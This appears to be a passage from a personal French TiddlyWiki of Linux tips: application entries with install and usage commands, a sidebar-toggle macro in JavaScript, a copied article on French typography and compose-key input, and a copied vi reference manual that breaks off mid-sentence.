- [[playing music remotely|http://felipe-alfaro.org/blog/2007/07/16/playing-music-remotely-using-mpd/]]
ToDo3:

- [[Firewall|http://useopensource.blogspot.com/2007/03/how-to-setup-firewall-in-ubuntu.html]]
- Antivirus [[daria blogue|http://daria.servhome.org/2007/09/21/installer-un-antivirus-sous-ubuntu/]]
- [[utilisation de screen|http://f0rked.com/articles/irssi#Learning_Screen]], [[en français|http://blog.bmaron.net/index.php?post/2007/05/31/Gnu-screen-ou-comment-rendre-la-console-plus-pratique]]
- [[apprendre ruby|http://www.korben.info/apprenez-le-ruby-facilement.html]]
/***

|Name|ToggleSideBarMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#ToggleSideBarMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a button for toggling visibility of the SideBar. You can choose whether the SideBar should initially be hidden or displayed.

!Demo
<<toggleSideBar "Toggle Sidebar">>

!Usage:
{{{<<toggleSideBar>>}}} <<toggleSideBar>>
additional options:
{{{<<toggleSideBar label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)

You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideSideBarButton {float:right;} }}}

!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour. 
*20-07-06: version 0.11
*27-04-06: version 0.1: working.

!Code
***/
//{{{
config.macros.toggleSideBar={};

config.macros.toggleSideBar.settings={
         styleHide :  "#sidebar { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 1em;}\n"+"",
         styleShow : " ",
         arrow1: "«",
         arrow2: "»"
};

config.macros.toggleSideBar.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
          var tooltip= params[1]||'toggle sidebar';
          var mode = (params[2] && params[2]=="hide")? "hide":"show";
          var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
          var label= (params[0]&&params[0]!='.')?params[0]+" "+arrow:arrow;
          var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleSideBar,"button HideSideBarButton");
          if (mode == "hide")
             { 
             (document.getElementById("sidebar")).setAttribute("toggle","hide");
              setStylesheet(this.settings.styleHide,"ToggleSideBarStyles");
             }
};

config.macros.toggleSideBar.onToggleSideBar = function(){
          var sidebar = document.getElementById("sidebar");
          var settings = config.macros.toggleSideBar.settings;
          if (sidebar.getAttribute("toggle")=='hide')
             {
              setStylesheet(settings.styleShow,"ToggleSideBarStyles");
              sidebar.setAttribute("toggle","show");
              this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
              }
          else
              {    
               setStylesheet(settings.styleHide,"ToggleSideBarStyles");
               sidebar.setAttribute("toggle","hide");
               this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
              }

     return false;
}

setStylesheet(".HideSideBarButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleSideBarButtonStyles");

//}}}
''Nom de l'application'': ''@@color(red):Tomboy@@''
Mots clef: Bureautique
Liens: [[site officiel| http://www.beatniksoftware.com/tomboy/]]
<<<
''Description:'' création de notes liées, rapides d'accès sur la barre kde.

''Installation:'' apt-get install tomboy

''Notes:'' 
#Options dans ~/.tomboy. La sauvegarde html n'est pas optimal.
#Possibilité de synchronisation via ssh, voir [[ici|http://davyd.livejournal.com/230629.html]]
Astuce: ''Liste de 10 applications en ligne de commande dont je ne saurais me passer (sans les indispensables outils GNU)''
Mots clef: programmes, killing apps
Os: Linux
<<<
Voilà une petite liste d'applications que j'emploie au quotidien et qui me simplifient la vie à volonté:
#JHead ($ jhead -autorot *.jpg, ça tue)
#nano (simple et efficace, je sais, y'a [[vim|ViEtClones]] )
#[[apt|APTUtilisation]] et aptitude
#[[ssh|SSHMemento]]
#EtherWake (ou wakeonlan)
#ImageMagick
#CronTab
#WGet ou CurL
#RSync
#MPG321
''Note:'' Voir aussi Top10ApplicationsGraphiques
Astuce: ''Liste de 10 applications graphiques dont je ne saurais me passer''
Mots clef: programmes, killing apps
Os: Linux
<<<
Voilà une petite liste d'applications que j'emploie au quotidien et qui me simplifient la vie à volonté:
#YaKuake (pour toujours avoir un terminal à porté de main)
#KonQueror (car il sait tout faire)
#FireFox (c'est la base)
#GimP (Il y a moins bien, mais c'est plus cher)
#GwenView (il fait tout ce dont j'ai besoin)
#InkScape (simplement efficace)
#K3B (jamais eu un soucis avec un cd)
#VlC (si tu ne peux lire cette vilaine vidéo, essaie vlc)
#KommanDo (à essayer !)
#KDissert (Pour mettre organiser son trop-plein d'idée)
''Note:'' Voir aussi Top10ApplicationsConsole
''Nom de l'application'': ''@@color(red): Treeline @@''
Mots clef: Bureautique
Liens: [[auteur|http://www.bellz.org/treeline]]
<<<
''Description:'' permet de gérer des collections sous forme d'arbre

''Installation:'' python install.py -h

''Notes:'' What is ~TreeLine?
Do you have lots of sticky notes lying around with various useful information jotted down? Or many lists of books, movies, website logins, personal contacts, or things to do? Can you find them when you need them? Well, I often couldn't. So here's my answer.
<<<
''Nom de l'application'': ''@@color(red): Trickle @@''
Mots clef: réseau, download
Liens: [[site|http://monkey.org/~marius/pages/?page=trickle ]]
<<<
''Description: ''Trickle permet de limiter la bande passande (upload et download) utilisée par une application.

''Installation: ''{{{apt-get install trickle}}}

''Utilisation: ''{{{$ trickle -d 75 -u 1 amule}}} (c'est pas bien ça!)
<<<
''Nom de l'application'': ''@@color(red): Truecrypt @@''
Mots clef: sécurité, chiffrement
Liens: [[site officiel|http://www.truecrypt.org ]]
<<<
''Description: ''Trucrypt est un logiciel de chiffrement multi-plateforme très simple d'utilisation.

''Installation: ''télecharger et installer le fichier .deb à partir du [[site officiel|http://www.truecrypt.org ]]. Si l'installation ne fonctionne pas avec le paquet .deb.

''Utilisation: ''Truecrypt dispose d'une interface graphique très simple d'utilisation (lancement avec {{{$ truecrypte}}}). Mais une utilisation en ligne de commande est bien entendu possible:
*Pour monter un dossier basé sur un fichier conteuneur chiffré avec options:
{{{
$ truecrypt --fs-options="rw,sync,utf8,uid=1000,umask=000"  /monFichierChiffreConteneur /media/leDossier
}}}
*Création de conteneur:
{{{
$ truecrypt -c /home/user/monFichierConteneur
}}}
Puis répondre aux questions
*Montage de volume dans le dossier ///home/user/crypto//
{{{
$ mkdir  /home/user/crypto/
$ truecrypt  /home/user/monFichierConteneur  /home/user/crypto
}}}
* Démontage de volume:
{{{
$ truecrypt -d  /home/user/monFichierConteneur
}}}
Ou, si cela ne marche pas (pour tout démonter)
{{{
$ truecrypt -d
}}}
''Notes: ''Il s'agit d'une alternative à DmCrypt et FuseEncfs.
Astuce: ''Installer les drivers pour les cartes graphiques Nvidia sur Ubuntu Dapper''
Mots clef: multimédia, carte graphique
Os:(K)Ubuntu
Liens: [[source|http://yeknan.free.fr/blog/index.php?2006/11/04/140-installation-de-ubuntu-610-02-premiers-soins-materiel-et-personnalisation]]
<<<
Installer les drivers:
{{{# apt-get install nvidia-glx && sudo nvidia-xconfig --no-logo}}}
puis redémarrez l'interface graphique {{{Ctrl+Alt+BackSp}}}
Vérifiez si l'installation c'est bien passée en regardant la fluidité de 
{{{$ glxgears -printfps}}} 
(personnellement je passe de 400 à 5000 fps).
''Nom de l'application'': ''@@color(red): Ubuntu-Tweak @@''
Mots clef: Gnome, configuration
Liens: [[source| http://www.cedynamix.fr/dotclear/index.php?post/2008/01/27/Ubuntu-Tweak-025 ]], [[site officiel|http://ubuntu-tweak.com/]]
<<<
''Description: ''Ubuntu-tweak permet de paramétrer facilement le système et le bureau Gnome (également configurable avec gconf-editor)

''Installation: ''
Ajouter (pour ubuntu Gusty) les lignes suivantes dans le fichier ///etc/apt/sources.list//:
{{{
##Ubuntu Tweak
deb http://ppa.launchpad.net/tualatrix/ubuntu gutsy main
deb-src http://ppa.launchpad.net/tualatrix/ubuntu gutsy main
}}}
ensuite {{{# aptitude install ubuntu-tweak}}}

''Utilisation: ''Tout est en gui, pas de problème.
''Nom de l'application'': ''@@color(red): Ultra splitter @@''
Mots clef: utilitaire, fichiers
Liens: [[site officiel|http://usplit.tuxfamily.org ]]
<<<
''Description: ''Ultra Splitter graphique est un logiciel qui permet de diviser vos fichiers en plusieurs morceaux.

''Installation: ''{{{apt-get install ultrasplitter}}}

''Notes: ''Disponible pour Linux et Windows
Voir aussi GSplit. Pour effectuer la même chose en ligne de commande voir ScinderGrosFichier ou SeparerGrosFichiers
<<<
Astuce: ''Quel process empèche le démontage d'un volume''
Mots clef: mount
Os: Linux
<<<
Pour connaitre quel process utilise un montage:
{{{$ lsof +d /le_point_de_montage}}}
Ou en utilisant fuser:
Recherche de l'utilisateur :
{{{$ fuser -v /le_point_de_montage}}}. 
Forçer le démontage :
{{{$ fuser -k /le_point_de_montage}}}
''Nom de l'application'': ''@@color(red): Unclutter @@''
Mots clef: souris, mouse
<<<
''Description: ''Petit programme permettant de faire disparaître la souris après x secondes

''Installation: ''{{{# aptitude install unclutter}}}

''Utilisation: '' faire disparaître la souris après 2 secondes
{{{
$ unclutter -idle 2
}}}
''Nom de l'application'': ''@@color(red): Unetbootin @@''
Mots clef: live cd, installation, iso
Liens: [[site officiel| http://unetbootin.sourceforge.net/ ]]
<<<
''Description: ''Programme disponible sous Linux et Windows permettant de créer, à partir d'un fichier .iso, une clef USB bootable permettant l'installation d'une grande variété de systèmes d'exploitation GNU/Linux ou BSD.

''Installation: ''fichier .bin disponible sur le [[site officiel| http://unetbootin.sourceforge.net/ ]].

''Utilisation: ''via interface graphique intuitive
''Nom de l'application'': ''@@color(red): Units @@''
Mots clef: conversion, unités, console
Liens: [[source| http://debaday.debian.net/2007/07/04/units-conversion-between-different-systems-of-units/ ]]
<<<
''Description: ''Petit logiciel permettant la conversion d'unité en ligne de commande.

''Installation: ''{{{# aptitude install units}}}

''Utilisation: ''
*Mode verbose:
{{{$ units -v}}}
{{{
You have: 1.5 km
You want: miles
        1.5 km = 0.93205679 miles
        1.5 km = (1 / 1.072896) miles
}}}

''Notes: ''Voir la page [[source| http://debaday.debian.net/2007/07/04/units-conversion-between-different-systems-of-units/ ]] pour plus d'infos.
''Nom de l'application'': ''@@color(red): Unison-gtk @@''
Mots clef: réseau, synchronisation, sauvegarde
Liens: [[site officiel|http://www.cis.upenn.edu/~bcpierce/unison/ ]]
<<<
''Description: ''Logiciel de synchronisation de fichiers (Linux+Windows)

''Installation: ''{{{apt-get install unison-gtk}}}

''Notes: ''[[source|http://kubuntu.free.fr/blog/index.php/2006/04/22/59-unison-la-synchronisation-de-repertoires-facile]]

Premier démarage: Vous lancez la commande unison-gtk qui va vous créer le profil default en vous demandant : le répertoire local à répliquer/le répertoire distant
Unison en actionUnison va alors vérifier chaque fichier et vous proposer de faire les réplications nécessaires. 

En cas de conflit: Maintenant, peux se présenter un problème. Imaginez que vous modifiez un fichier sur les deux ordinateurs en même temps. Lors de la prochaine synchro, Unison ne va pas savoir quelle version conserver. C'est un conflit. Dans ce cas la, nous allons essayer de fusionner (merge) les deux fichiers. Pour faire cela de manière graphique, il vous faut installer KDiff3. Ajoutez la ligne magique suivante dans votre fichier ~/.unison/default.prf : 
{{{merge = Name * -> kdiff3 CURRENT1 CURRENT2 -o NEW}}} 
Ainsi lors d'un conflit entre deux fichiers vous obtiendrez une fenêtre vous permettant de le résoudre en choissisant quelles lignes conserver.
<<<
Astuce: ''Caractère spéciaux et typographie en informatique''
Mots clef: bureautique
Os:
Liens: [[source| http://www.haypocalc.com/blog/index.php/2006/06/18/6-typographie ]] par Blog Haypo
<<<
Cet article a été copié sans modification.
<html>
<h2 class="post-title">Typographie</h2>
	<p class="post-info">Par haypo,
	dimanche 18 juin 2006 à 19:10	</p>
	
	<div class="post-chapo"><p>L’informatique est truffée de choses illogiques qu’on peut parfois comprendre en découvrant son histoire. Par exemple, en France, les claviers ont une disposition des touches dite «&nbsp;AZERTY » (nom provenant de l’ordre des six premières lettres). Cette disposition du clavier, qui remonte au XIXe siècle, était une solution à un problème mécanique des machines à écrire. Or nous utilisons encore aujourd’hui cette disposition <strong>anti-ergonomique</strong>.</p>


<p>Enfin, je ne suis pas ici pour parler de machine à écrire, mais de typographie. J’ai remarqué qu'un clavier classique ne permet ni de saisir les guillemets français «&nbsp;», ni l’apostrophe française «&nbsp;’ », ni les lettres majuscules accentuées «&nbsp;Á É … » (pas <ins>facilement</ins> sous Windows en tout cas), ni les lettres «&nbsp;œ Œ », etc.</p></div>	<div class="post-content"><h3>Où sont passées toutes ces lettres&nbsp;?</h3>


<p>Le problème est que l’informatique a uniformisé, nivelé vers le bas, les langues. Les guillemets disponibles sur un clavier sont devenus verticaux. Pourtant il existe&nbsp;:</p>
<ul>
<li>Guillemets «&nbsp;informatiques »&nbsp;: "texte"&nbsp;;</li>
<li>Guillemets français&nbsp;: «&nbsp;texte »&nbsp;;</li>
<li>Guillemets anglais&nbsp;: “texte”&nbsp;;</li>

<li>Guillemets allemands&nbsp;: “texte„.</li>
</ul>

<p>De même, il existe&nbsp;:</p>
<ul>
<li>Apostrophe «&nbsp;informatique »&nbsp;: «&nbsp;' »&nbsp;;</li>
<li>Apostrophe française&nbsp;: «&nbsp;’ »&nbsp;;</li>

<li>Autre apostrophe&nbsp;: «&nbsp;‘ » (inclinée dans le sens contraire de la française).</li>
</ul>

<p>Windows a contribué à ce nivellement en ne proposant pas de méthode simple pour saisir des lettres majuscules accentuées. Exemples&nbsp;: «&nbsp;<strong>À</strong> la fin, … » ou «&nbsp;<strong>É</strong>léphant rose ». Sous Unix, il suffit de faire un verrouillage majuscule, puis de taper les touches «&nbsp;éèàù »&nbsp;: «&nbsp;ÉÈÀÙ ». De même, les combinaisons avec l’accent circonflexe ou le tréma sont également passés en majuscule «&nbsp;âäêëîïôöûüŷÿ »&nbsp;: «&nbsp;ÂÄÊËÎÏÔÖÛÜŶŸ ». Voyons maintenant la touche compose et la touche AltGr pour accéder aux autres lettres.</p>


<h3>Touche AltGr</h3>


<p>Toujours sous Xfree86/Xorg, en utilisant une disposition de clavier française, la touche AltGr permet d’accéder à des caractères complexes simplement&nbsp;:</p>
<ul>
<li>AltGr + z donne «&nbsp;(guillemet français ouvrant)&nbsp;;</li>
<li>AltGr + x donne » (guillemet français fermant)&nbsp;;</li>

<li>AltGr + v donne “ (guillemet anglais ouvrant)&nbsp;;</li>
<li>AltGr + b donne ” (guillemet anglais fermant)&nbsp;;</li>
<li>AltGr + e donne € (symbole euro)&nbsp;;</li>
<li>AltGr + s donne ß (lettre eszett utilisée en allemand)&nbsp;;</li>
<li>AltGr + espace donne un espace insécable (avec la variante <strong>latin9</strong>&nbsp;: Option "XkbVariant" "latin9" dans le fichier /etc/X11/xorg.org).</li>
</ul>

<p>Je préfère tout de même la touche compose car les combinaisons sont plus facile à retenir.</p>


<h3>Touche compose</h3>


<p>La <strong>touche compose</strong> est une fonctionnalité du serveur graphique (Xfree86/Xorg) sous Linux. C’est une touche qu’on définit arbitrairement qui permet de <em>dessiner</em> ses caractères de manière très intuitive. Quelques exemples&nbsp;:</p>

<ul>
<li>compose ' u donne ú&nbsp;;</li>
<li>compose ` u donne ù&nbsp;;</li>
<li>compose " u donne ü&nbsp;;</li>
<li>compose c z donne ž&nbsp;;</li>
<li>compose b g donne ğ (demi-cercle vers le bas)&nbsp;;</li>
<li>compose , C donne Ç (fonctionne aussi pour s par exemple&nbsp;: ş)&nbsp;;</li>

<li>compose ~ n donne ñ&nbsp;;</li>
<li>compose o e donne œ (je vous laisse trouver Œ, æ et Æ)&nbsp;;</li>
<li>compose / l donne ł&nbsp;;</li>
<li>compose &lt; &lt; donne «&nbsp;(guillement ouvrant français), &gt; &gt; pour »&nbsp;;</li>

<li>compose &lt; " donne “ (guillement ouvrant anglais/allemand), &gt; " pour ” (guillement fermant anglais)&nbsp;;</li>
<li>compose , " donne „ (guillement fermant allemand)&nbsp;;</li>
<li>compose &gt; ' donne ’ (apostrophe français)&nbsp;;</li>
<li>etc.</li>

</ul>

<p>Cette touche permet d’accéder à des caractères qu’on ne peut normalement pas taper, ou alors avec des combinaisons de touches complexes à retenir. Pour plus de détail (autres combinaisons et comment l’installer), lisez <a href="http://www.haypocalc.com/wiki/Touche_compose" hreflang="fr">mon article sur la touche compose</a>.</p>


<h3>Typographie</h3>


<p>Maintenant que nous savons taper toutes les lettres dont nous avons besoin, passons aux choses sérieuses. La typographie est l’art d’agencer les lettres sur un document pour le rendre «&nbsp;beau ». Chaque pays a sa nomenclature et il est intéressant de la respecter.</p>


<p>Voici quelques règles de la typographie française&nbsp;:</p>
<ul>
<li>Il y a une espace <ins>après</ins> les signes simples «&nbsp;. , … » (mais aucune espace avant)&nbsp;;</li>
<li>Il y a une espace insécable <ins>avant</ins> et une espace simple <ins>après</ins> les signe doubles «&nbsp;: ;&nbsp;! ? »&nbsp;;</li>

<li>Les guillemets français sont «&nbsp;»&nbsp;;</li>
<li>L'apostrophe française est «&nbsp;’ »&nbsp;;</li>
<li>La fin d’une énumération peut être marquée par «&nbsp;et caetera » qu’on abrège «&nbsp;etc. » (et non pas «&nbsp;etc… »)&nbsp;;</li>
<li>etc.</li>
</ul>

<p>Notes&nbsp;:</p>
<ul>
<li>En typographie, une espace est un mot féminin&nbsp;;</li>
<li>Une espace insécable est une espace qui colle deux mots. On peut l’écrire avec la combinaison «&nbsp;AltGr + touche espace » sous Linux, «&nbsp;&amp;nbsp; » dans un document HTML, et avec la combinaison «&nbsp;CTRL+espace » sous Word ou OpenOffice Writer.</li>
</ul>

<p>Pour en savoir plus, référez-vous aux sites <a href="http://www.dsi.univ-paris5.fr/typo.html">Règles de typographie française</a> et <a href="http://www.interpc.fr/mapage/billaud/ponctua.htm">Règles de ponctuation et de typographie</a>.</p>


<p>Pour obtenir un «&nbsp;beau » document, une seule solution&nbsp;: écrivez-le en utilisant LaTeX, le seul logiciel (formateur de texte) qui crée des ligatures (tel que pour fi, st, …), respecte au mieux les marges, etc.</p>


<h3>Brève conclusion</h3>


<p>«&nbsp;L’erreur est humaine, mais un vrai désastre nécessite un ordinateur »</p>


<p>Les gens attentifs auront remarqué que je me suis abstenu d'utiliser l'apostrophe informatique (droite) «&nbsp;' » en utilisant plutôt l'apostrophe française «&nbsp;’ ». Je l'ai tapée en utilisant la touche compose, et je peux dire que c'est un vrai calvaire… Je ne le ferai pas à chaque fois.</p>
</html>
''Nom de l'application'': ''@@color(red): Vpnc @@''
Mots clef: réseau vpn
Liens: [[Howto|http://icwww.epfl.ch/~poulhies/vpn/ ]]
<<<
''Description: ''"Vpnc permet de se connecter de manière sécurisée via un tunnel vpn mis en place par un serveur. Un poste connecté par VPN est considéré comme faisant partie du réseau interne et peut ainsi utiliser sans restriction toutes les ressources informatiques de l'Intranet.La sécurisation permet d'encrypter toutes les informations qui transitent entre un client VPN, le poste sur lequel on est connecté de l'extérieur et évite ainsi que des noms d'utilisateurs, des mots de passe et les autres données transitent en clair sur Internet."

''Installation: ''{{{apt-get install vpnc}}}

''Notes: '' Avant de lancer vpnc grâce à la ligne {{{$ vpnc /etc/vpnc/vpnc.conf}}}, il est nécessaire de configurer le fichier vpnc.conf à l'aide des informations fournies par son serveur. Ce fichier doit au moins contenir les lignes suivantes:
{{{
IPSec gateway nomDuGateway.net
IPSec ID nomDuGroup
IPSec secret motDePasseSpecialVPN
}}}
Pour monter automatique un disque via Vpnc voir le scripte suivant: ScriptVPNMount
<<<
''Nom de l'application'': ''@@color(red): vi(m) @@''
Mots clef: bash, bureautique, éditeur
Liens: [[source texte anglais| http://linuxcult.blogspot.com/2006/10/vi-and-clone-editor-reference-manual.html ]]
<<<
''Description: ''vi et vim (vi amélioré) sont des éditeurs de texte puissants en console.

''Installation: ''{{{apt-get install vim}}}

Pour tenter de maîtriser la bête, voir VimTutor.

Sinon voilà quelques infos en anglais:
''VI (and Clone) Editor Reference Manual: (by Cult of Linux, voir lien)''
<html>
<a name="s1">1.</a>  Introduction</h3> This is a brief, introductory reference for vi. It is supplemental to the VI Introductory Guide and your vendor documentation. The information here also applies to all the clones of vi, such as vim, elvis, and stevie. <p> Vi is actually a very powerful editor, and is organized in a logical fashion. It is different from other editors or word processors, which may make learning it just a little bit tricky for some people. If you approach it analytically and fearlessly, you should become proficient with it in a short period of time. </p><p> I highly recommend experimentation.  For obvious reasons you should restrict early experimentation to test files.  </p><p> Some non-display character keys and other keys have special functions. These keys will be shown by placing their name (such as RETURN) in square brackets, like this: <b>[RETURN]</b>.  </p><p> Unlike  most non UNIX<sup><span style="font-size: 85%;"><b><a href="http://www.netads.com/%7Emeo/useful/vi/vi.rm.html#fn1">1</a></b></span></sup> products, vi is case-sensitive.  Be careful with the <b>[CAPS LOCK]</b> key (except in input mode).  If things are acting strange, make sure <b>[CAPS LOCK]</b> is off.  If you are unsure about this, a good test is to press  the  `j' key;  if it moves the cursor down a line, <b>[CAPS LOCK]</b> is not on; if it joins the next line to  the  current  line, <b>[CAPS LOCK]</b> is on.  </p><p> Not all of the commands mentioned here are covered in the VI Introductory Guide. There are also far more commands available in vi than are covered here - for further information check your system documentation or get one of the books available on vi. </p><p> </p><center> <table border="1" width="95%"> <tbody><tr><th colspan="3">Special Keys</th></tr> <tr><th>Key</th><th>Command Mode</th><th>Text Mode</th></tr> <tr><td valign="top"><b>Arrow Keys</b></td>     <td valign="top">cursor movement</td>     <td valign="top">N/A</td> </tr> <tr><td valign="top"><b>[CTRL]</b></td>     <td valign="top">used with other keys for extra commands</td>     <td valign="top">insert control characters in text</td> </tr> <tr><td valign="top"><b>[ENTER]</b> or <b>[RETURN]</b></td>     <td valign="top">down 1 line</td>     <td valign="top">normal function</td> </tr> <tr><td valign="top"><b>[ESC]</b></td>     <td valign="top">N/A</td>     <td valign="top">leave text mode</td> </tr> <tr><td valign="top"><b>Space Bar</b></td>     <td valign="top">move right 1 character</td>     <td valign="top">normal function</td> </tr> <tr><td valign="top"><b>[TAB]</b></td>     <td valign="top">N/A</td>     <td valign="top">normal function</td> </tr> </tbody></table> </center>   <p> When  a command is shown as a combination of the `^' (caret) and another character, as in <b>^V</b>, this means press the  <b>[CTRL]</b> key  first, and hold it down while you press and release the other key.  </p><h3><a name="s2">2.</a>  Command Mode vs Text Mode</h3> Vi is always either in command mode or text (input) mode. In text mode any character key pressed is enetered into the file. Most other typewriter keys have their normal effect. On some systems to enter a <b>[CTRL]</b> key sequence, you may first have to enter <b>^V</b> before the sequence you want.  <p> In command mode nearly every key on the keyboard performs some command or modifies the next command. Some of these commands may be difficult to recover from, so be careful in command mode to enter only the commands you wish to enter. </p><p> The  <b>[RETURN]</b>  key is not needed in command mode except with commands that begin with a `:' (colon) and with  the  search comands.   </p><p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Mode Change Commands</th></tr> <tr><td><b>a</b></td><td>append text after cursor</td></tr> <tr><td><b>i</b></td><td>insert text before cursor</td></tr> <tr><td><b>o</b></td><td>open new line after current line &amp; add text</td></tr> <tr><td><b>O</b></td><td>open new line before current line &amp; add text</td></tr> <tr><td><b>[ESC]</b></td><td>leave text mode</td></tr> </tbody></table> </center>    <h3><a name="s3">3.</a>  Cursor Motion</h3> Cursor motion should nominally include use of the cursor keys. If your terminal lacks or has problems with arrow keys in vi command mode, the `h', `j', `k', and `l' keys will perform the same functions, as noted below. <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Cursor Motion Commands</th></tr> <tr><td>h</td><td>move back 1 character</td></tr> <tr><td>l</td><td>move forward 1 character</td></tr> <tr><td>j</td><td>move down 1 line</td></tr> <tr><td>k</td><td>move up 1 line</td></tr> <tr><td colspan="2"><br></td></tr> <tr><td>b</td><td>back to beginning of word</td></tr> <tr><td>e</td><td>forward to end of word</td></tr> <tr><td>w</td><td>forward to beginning of next word</td></tr> <tr><td>^</td><td>go to first displayable character of line</td></tr> <tr><td>0</td><td>go to beginning of line</td></tr> <tr><td>$</td><td>go to end of line</td></tr> <tr><td colspan="2"><br></td></tr> <tr><td><ctrl>F</ctrl></td><td>forward 1 screen</td></tr> <tr><td><ctrl>B</ctrl></td><td>backward 1 screen</td></tr> <tr><td><ctrl>D</ctrl></td><td>down (forward) 1/2 screen</td></tr> <tr><td><ctrl>U</ctrl></td><td>up (backward) 1/2 screen</td></tr> </tbody></table> </center>   <h3><a name="s4">4.</a>  Editing Commands</h3> These are the commands that actually manipulate text. the commands listed here include those which delete, replace, search, cut, and paste text, as well as those used for saving text and abandoning an edit session. Finally, a few miscellaneous commands are included which don't fit into the other categories. <h4><a name="s41">4.1.</a>  Delete (Cut) Commands</h4> In some editors the delete commands may be called cut commands. The last item deleted is saved in a buffer and may be put (or pasted) elsewhere in the file as noted later. <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Delete Commands</th></tr> <tr><td>x</td><td>delete character</td></tr> <tr><td>dw</td><td>delete rest of word</td></tr> <tr><td>d$</td><td>delete rest of line</td></tr> <tr><td>D</td><td>delete rest of line</td></tr> <tr><td>dd</td><td>delete line</td></tr> </tbody></table> </center>   <h4><a name="s42">4.2.</a>  Replace, Change and Substitute Commands</h4> Some editors provide commands to substitute new text occurances of search strings; this is not the same thing. These following vi commands allows you to replace some number of characters, words, lines or parts of lines with new text. <p> The change and substitute commands, the editor puts you into insert mode until you press <b>[ESC]</b>.  The replace command replaces 1 (or more) characters with the next character you type.  </p><p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Replace Commands</th></tr> <tr><td>r</td><td>replace character</td></tr> <tr><td>cw</td><td>change rest of word</td></tr> <tr><td>c$</td><td>change rest of line</td></tr> <tr><td>C</td><td>change rest of line</td></tr> <tr><td>Ns</td><td>substitute text for N characters</td></tr> </tbody></table> </center>     <h4><a name="s43">4.3.</a>  Search Commands</h4>  These commands let you search for a text string, which may include regular expressions.  They must be followed by a <b>[RETURN]</b>.  <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Search Commands</th></tr> <tr><td>/text</td><td>search forward for text</td></tr> <tr><td>?text</td><td>search backward for text</td></tr> <tr><td>n</td><td>search in same direction for next occurance     of last-searched-for text</td></tr> <tr><td>N</td><td>search in other direction for next occurance     of last-searched-for text</td></tr> </tbody></table> </center>   <h4><a name="s44">4.4.</a>  Undo Command</h4> IN the real vi, the undo command only undoes the last command, even if that is an undo command. Repeated undo commands simply toggle the effect of the last command before the series of undo commands. <p> Some vi clones, such as <b>vim</b>, allow multiple undo's. These usually offer a way to set the undo level to the standard vi mode. See your editor's man page or reference manual for details. </p><p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Undo Command</th></tr> <tr><td>u</td><td>undo last command (BE CAREFUL WITH THIS)</td></tr> </tbody></table> </center>  <h4><a name="s45">4.5.</a>  Saving &amp; Exiting Commands</h4>  These commands must be followed by a <b>[RETURN]</b>.  <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Saving &amp; Exiting Commands</th></tr> <tr><td>:w</td><td>write (save) the file</td></tr> <tr><td>:w NAME</td><td>write the file and name it NAME</td></tr> <tr><td>:w! NAME</td><td>rewrite the file named NAME</td></tr> <tr><td>:wq</td><td>write the file and quit the editor</td></tr> <tr><td>:q</td><td>quit the editor</td></tr> <tr><td>:q!</td><td>quit the editor (abandoning any changes)</td></tr> </tbody></table> </center>    <h4><a name="s46">4.6.</a>  Search &amp; Replace Command</h4>  To find &amp;  replace  all  occurances  of  a  particular  text string, use the command:  <pre>    :%s/text1/text2/g[RETURN]<br></pre>  which replaces all occurances of text1 with text2.  <h4><a name="s47">4.7.</a>  Yank (Copy) Commands</h4> The vi yank command is similar to the copy command in many editors. It copies the text into a buffer. The text may be put (pasted) elsewhere in the file as described under the Put command. <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Yank Commands</th></tr> <tr><td>yw</td><td>yank rest of word</td></tr> <tr><td>y$</td><td>yank rest of line</td></tr> <tr><td>yy</td><td>yank entire line</td></tr> <tr><td>Y</td><td>yank entire line</td></tr> </tbody></table> </center>   <h4><a name="s48">4.8.</a>  Put (Paste) Commands</h4> The vi put command is similar to the paste command in many other editors. It will paste whatever is in the buffer from either the previous delete or yank command. <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Put Commands</th></tr> <tr><td>p</td><td>put yanked/deleted text before cursor</td></tr> <tr><td>P</td><td>put yanked/deleted text after cursor</td></tr> </tbody></table> </center>  <p> If you yanked/deleted a whole line (or group of lines), p and P paste the text before or after the current line, respectively; otherwise, they paste the text before or after the cursor, respectively, on the current line. </p><h4><a name="s49">4.9.</a>  Miscellaneous Commands</h4>  <p> </p><center> <table border="1"> <tbody><tr><th colspan="2">Miscellaneous Commands</th></tr> <tr><td>.</td><td>repeat last command (BE CAREFUL WITH THIS)</td></tr> <tr><td>J</td><td>join next line to end of this line</td></tr> </tbody></table> </center>  <p> </p><center> <table border="1" cellpadding="3" width="70%"> <tbody><tr><td> <center> <b>NOTE</b> </center>  <p> The period, or dot, command repeats most commands, but not quite all. It should work with all of the commands listed in this document; if you aren't sure of what you're doing, save your work before you try something. </p></td></tr> </tbody></table> </center>   <h3><a name="s5">5.</a>  Miscellaneous Notes</h3>  Most  commands  (other  than  those  beginning  with a colon (`:') may be preceded by a repeat count.  For example, <pre>    3dd<br></pre> would delete 3 lines, starting with the current one.  <p> Vi will not let you delete more lines than are in the file, so the above example would not work on the last line; vi would beep at you instead. </p><hr> <b>Notes:</b><br><em> </em><ol><li><em><a name="fn1">UNIX</a> is a trademark of Western Electric,     AT&amp;T, SCO, or whoever bought it this week. </em></li></ol><br>Copyright 1988, 1989, 1991, 1993, 1994, &amp; 1998 by Susan Liebeskind (Atlanta, GA) and Miles O'Neal (Austin, TX). All rights reserved. Permission is hereby granted to redistribute this in either source or formatted form, so 